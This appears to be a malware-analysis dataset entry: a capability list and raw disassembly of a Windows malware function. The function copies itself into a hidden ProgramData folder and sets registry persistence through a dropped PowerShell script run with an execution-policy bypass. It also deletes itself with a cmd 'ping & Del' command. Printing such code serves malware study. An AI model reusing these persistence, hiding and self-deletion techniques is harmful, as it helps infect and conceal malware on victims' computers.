Function at 0x403df3
Capabilities:
Create directory
Get common file path
Query environment variable
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x840
mov dword [esp], str.PROGRAMDATA
call sym._getenv
mov dword [esp + 4], eax
lea eax, [ebp - 0x754]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x754]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x754]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x754]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x754]
add eax, edx
mov dword [eax], 0x65617347
mov dword [eax + 4], 0x676d6f77
mov word [eax + 8], 0x79
lea eax, [ebp - 0x754]
mov dword [esp], eax
call sym._mkdir
lea eax, [ebp - 0x754]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x754]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x754]
mov dword [esp + 4], eax
lea eax, [ebp - 0x650]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x650]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x650]
add eax, edx
mov dword [eax], 0x4c707454
mov dword [eax + 4], 0x4d456f72
mov dword [eax + 8], 0x72752e77
mov word [eax + 0xc], 0x6c
lea eax, [ebp - 0x754]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x754]
add eax, edx
mov dword [eax], 0x6b697473
mov dword [eax + 4], 0x6e726871
mov dword [eax + 8], 0x6578652e
mov byte [eax + 0xc], 0
mov dword [esp + 0xc], 8
mov dword [esp + 8], 0x42aa4c
lea eax, [ebp - 0x7d4]
mov dword [esp + 4], eax
mov dword [esp], 0x42ab89
call sym.FuncDecoding_unsigned_char_const__char__char_const__int_
lea eax, [ebp - 0x7d4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x40]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x818]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x818], 0x44
mov dword [esp + 0xc], 0xe
mov dword [esp + 8], str.dh3dhxls
lea eax, [ebp - 0x7d4]
mov dword [esp + 4], eax
mov dword [esp], 0x42abaa
call sym.FuncDecoding_unsigned_char_const__char__char_const__int_
lea eax, [ebp - 0x7d4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x9ceb
mov dword [esp], 0xe6e61
call sym.DH409fyzshD6PdF_int__int_
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x54c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x54c]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x54c]
add eax, edx
mov dword [eax], 0x7379535c
mov dword [eax + 4], 0x336d6574
mov dword [eax + 8], 0x6d635c32
mov dword [eax + 0xc], 0x78652e64
mov word [eax + 0x10], 0x65
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x448]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x754]
mov dword [esp + 4], eax
lea eax, [ebp - 0x448]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x40435a
mov dword [esp + 4], 0x42aa59
lea eax, [ebp - 0x650]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x754]
mov dword [esp + 8], eax
mov dword [esp + 4], str._InternetShortcut__nURL_s
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 7
lea eax, [ebp - 0x650]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp + 4], 0x42aa75
lea eax, [ebp - 0x448]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x24], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x28], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 0x42aa78
lea eax, [ebp - 0x754]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x754]
mov dword [esp + 8], eax
mov dword [esp + 4], str._C___s_
lea eax, [ebp - 0x240]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x40]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x818]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x240]
mov dword [esp + 4], eax
lea eax, [ebp - 0x54c]
mov dword [esp], eax
mov eax, dword [ebp - 0x14]
call eax
sub esp, 0x28
mov dword [esp + 8], 0x12c
mov dword [esp + 4], 0
lea eax, [ebp - 0x240]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x448]
mov dword [esp + 8], eax
mov dword [esp + 4], str._C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea eax, [ebp - 0x240]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x40]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x818]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x240]
mov dword [esp + 4], eax
lea eax, [ebp - 0x54c]
mov dword [esp], eax
mov eax, dword [ebp - 0x14]
call eax
sub esp, 0x28
mov dword [esp + 4], 2
lea eax, [ebp - 0x754]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp + 4], 7
lea eax, [ebp - 0x754]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x240]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0x3c
mov dword [esp + 8], str.Pdyh20sh
lea eax, [ebp - 0x240]
mov dword [esp + 4], eax
mov dword [esp], 0x434100
call sym.FuncDecoding_unsigned_char_const__char__char_const__int_
mov dword [esp + 0xc], 0x37
mov dword [esp + 8], str.oqwgs929
lea eax, [ebp - 0x7d4]
mov dword [esp + 4], eax
mov dword [esp], str.:42IeaV_t
call sym.FuncDecoding_unsigned_char_const__char__char_const__int_
lea eax, [ebp - 0x7d4]
mov dword [esp + 8], eax
mov dword [esp + 4], str.REGPATH
lea eax, [ebp - 0x240]
mov dword [esp], eax
call sym.replaceAll_char__char_const__char_const_
mov dword [ebp - 0x18], eax
mov dword [esp + 8], str.Nwxmeqygf_Kujmbw_skulkjqk
mov dword [esp + 4], str.REGNAME
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym.replaceAll_char__char_const__char_const_
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x650]
mov dword [esp + 8], eax
mov dword [esp + 4], str.REGVALUE
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym.replaceAll_char__char_const__char_const_
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x344]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
lea eax, [ebp - 0x344]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x344]
add eax, edx
mov dword [eax], 0x7368645c
mov dword [eax + 4], 0x7368616c
mov dword [eax + 8], 0x73702e6c
mov word [eax + 0xc], 0x31
mov dword [esp + 4], 0x42aa59
lea eax, [ebp - 0x344]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x240]
mov edx, eax
mov eax, str.__Command___if__Get_ExecutionPolicy____ne_AllSigned___Set_ExecutionPolicy__Scope_Process_Bypass____PowershellPath_
mov ecx, 0x1e
mov edi, edx
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov eax, esi
mov edx, edi
movzx ecx, word [eax]
mov word [edx], cx
lea edx, [edx + 2]
lea eax, [eax + 2]
lea eax, [ebp - 0x344]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PowershellPath
lea eax, [ebp - 0x240]
mov dword [esp], eax
call sym.replaceAll_char__char_const__char_const_
mov dword [ebp - 0x18], eax
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x54c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x54c]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x54c]
add eax, edx
mov dword [eax], 0x7379535c
mov dword [eax + 4], 0x336d6574
mov dword [eax + 8], 0x69575c32
mov dword [eax + 0xc], 0x776f646e
mov dword [eax + 0x10], 0x776f5073
mov dword [eax + 0x14], 0x68537265
mov dword [eax + 0x18], 0x5c6c6c65
mov dword [eax + 0x1c], 0x302e3176
mov dword [eax + 0x20], 0x776f705c
mov dword [eax + 0x24], 0x68737265
mov dword [eax + 0x28], 0x2e6c6c65
mov dword [eax + 0x2c], 0x657865
lea eax, [ebp - 0x40]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x818]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
lea eax, [ebp - 0x54c]
mov dword [esp], eax
mov eax, dword [ebp - 0x14]
call eax
sub esp, 0x28
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret